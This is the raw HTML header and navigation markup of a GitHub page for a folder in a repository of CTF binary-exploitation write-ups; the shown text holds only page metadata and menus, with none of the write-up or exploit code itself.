<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="EC75:F966:13C9B49:144A422:64121B2F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="65aae220d87c98c13db5f47efba3697bb6d3a6b5f9358b6ca5e40cc969de239d" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQzc1OkY5NjY6MTNDOUI0OToxNDRBNDIyOjY0MTIxQjJGIiwidmlzaXRvcl9pZCI6IjI4MTA2MjM0OTkyMTQ5MjA0OTUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="2745a28d2d94a0dfc57fb068a1b17cf7ae63b98d6f6eedaad29ee8ff2232a4f3" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:334582086" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Challenges"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Challenges" /><meta name="twitter:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Cha..." /> <meta property="og:image" content="https://opengraph.githubassets.com/5a07d3e56adc06aabb7f65491655b09faf875bb58821875b00540cc5ef30c5f5/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:image:alt" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Cha..." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:url" content="https://github.com/vital-information-resource-under-siege/PWN-Challenges" /><meta property="og:description" content="Writeups of some of the Binary Exploitation challenges that I have solved during CTF. - PWN-Challenges/cyber-apocalypse2022/fleet_management at main · vital-information-resource-under-siege/PWN-Cha..." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vital-information-resource-under-siege/PWN-Challenges git https://github.com/vital-information-resource-under-siege/PWN-Challenges.git">
<meta name="octolytics-dimension-user_id" content="55344638" /><meta name="octolytics-dimension-user_login" content="vital-information-resource-under-siege" /><meta name="octolytics-dimension-repository_id" content="334582086" /><meta name="octolytics-dimension-repository_nwo" content="vital-information-resource-under-siege/PWN-Challenges" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="334582086" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vital-information-resource-under-siege/PWN-Challenges" />
<link rel="canonical" href="https://github.com/vital-information-resource-under-siege/PWN-Challenges/tree/main/cyber-apocalypse2022/fleet_management" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="334582086" data-scoped-search-url="/vital-information-resource-under-siege/PWN-Challenges/search" data-owner-scoped-search-url="/users/vital-information-resource-under-siege/search" data-unscoped-search-url="/search" data-turbo="false" action="/vital-information-resource-under-siege/PWN-Challenges/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="d9ydl8CsNnfUGhpkKiTNAfePs7yd08Dl/AGVO06q8mm0+eeVTr9amRWW4Y0Nhr08WtMopwcyQbwZ4P/N8tXDvg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
